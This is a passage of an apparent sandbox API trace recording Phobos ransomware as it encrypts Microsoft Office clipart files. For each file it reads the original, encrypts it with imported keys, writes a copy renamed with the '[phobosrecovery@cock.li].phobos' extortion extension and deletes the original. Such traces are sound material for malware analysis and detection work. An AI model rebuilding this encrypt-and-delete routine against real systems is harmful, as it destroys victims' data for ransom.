nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.889] CryptDestroyKey (hKey=0x1d1610) returned 1 [0166.889] CloseHandle (hObject=0x2e0) returned 1 [0166.889] CloseHandle (hObject=0x2c4) returned 1 [0166.889] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0166.891] SetEvent (hEvent=0x298) returned 1 [0166.891] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.892] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=19068) returned 1 [0166.892] CloseHandle (hObject=0x2c4) returned 1 [0166.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0166.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.892] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.892] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.893] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1910) returned 1 [0166.893] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.893] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x4a7c, lpOverlapped=0x0) returned 1 [0167.359] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x4a80) returned 1 [0167.359] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x4a80, lpOverlapped=0x0) returned 1 [0167.361] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1550) returned 1 [0167.361] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.361] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.361] CryptDestroyKey (hKey=0x1d1550) returned 1 [0167.361] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.361] CryptDestroyKey (hKey=0x1d1910) returned 1 [0167.361] CloseHandle (hObject=0x2c4) returned 1 [0167.361] CloseHandle (hObject=0x2e0) returned 1 [0167.361] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0167.363] SetEvent (hEvent=0x298) returned 1 [0167.363] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0167.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.364] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=296) returned 1 [0167.364] CloseHandle (hObject=0x2e0) returned 1 [0167.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0167.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.364] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.364] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.365] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1850) returned 1 [0167.365] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.365] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x128, lpOverlapped=0x0) returned 1 [0167.366] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x130, dwBufLen=0x130 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x130) returned 1 [0167.366] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x130, lpOverlapped=0x0) returned 1 [0167.367] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d14d0) returned 1 [0167.367] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.367] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.367] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0167.367] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.918] CryptDestroyKey (hKey=0x1d1850) returned 1 [0167.918] CloseHandle (hObject=0x2e0) returned 1 [0167.918] CloseHandle (hObject=0x2c4) returned 1 [0167.918] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0167.921] SetEvent (hEvent=0x298) returned 1 [0167.921] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0167.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.921] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=552) returned 1 [0167.921] CloseHandle (hObject=0x2c4) returned 1 [0167.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0167.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.922] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.922] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.923] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1810) returned 1 [0167.923] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.923] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x228, lpOverlapped=0x0) returned 1 [0167.924] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x230, dwBufLen=0x230 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x230) returned 1 [0167.924] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x230, lpOverlapped=0x0) returned 1 [0167.925] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0167.925] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.925] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.925] CryptDestroyKey (hKey=0x1d1910) returned 1 [0167.925] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.925] CryptDestroyKey (hKey=0x1d1810) returned 1 [0167.925] CloseHandle (hObject=0x2c4) returned 1 [0167.925] CloseHandle (hObject=0x2e0) returned 1 [0167.926] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0167.928] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0167.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.929] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4148) returned 1 [0167.929] CloseHandle (hObject=0x2e0) returned 1 [0167.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0167.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.929] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.929] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.930] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a90) returned 1 [0167.930] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.930] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x1034, lpOverlapped=0x0) returned 1 [0167.948] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1040, dwBufLen=0x1040 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1040) returned 1 [0167.948] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1040, lpOverlapped=0x0) returned 1 [0167.949] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d17d0) returned 1 [0167.949] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.949] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.949] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0167.949] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.949] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0167.949] CloseHandle (hObject=0x2e0) returned 1 [0167.949] CloseHandle (hObject=0x2c4) returned 1 [0167.949] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0167.951] SetEvent (hEvent=0x298) returned 1 [0167.951] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0167.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.952] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2300) returned 1 [0167.952] CloseHandle (hObject=0x2c4) returned 1 [0167.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0167.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.953] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.953] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.954] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1950) returned 1 [0167.954] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.954] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8fc, lpOverlapped=0x0) returned 1 [0167.986] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900, dwBufLen=0x900 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900) returned 1 [0167.986] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x900, lpOverlapped=0x0) returned 1 [0167.987] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0167.987] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.987] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.987] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0167.987] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.987] CryptDestroyKey (hKey=0x1d1950) returned 1 [0167.987] CloseHandle (hObject=0x2c4) returned 1 [0167.987] CloseHandle (hObject=0x2e0) returned 1 [0167.987] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0167.989] SetEvent (hEvent=0x298) returned 1 [0167.989] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0167.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0167.990] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1382) returned 1 [0167.990] CloseHandle (hObject=0x2e0) returned 1 [0167.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0167.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 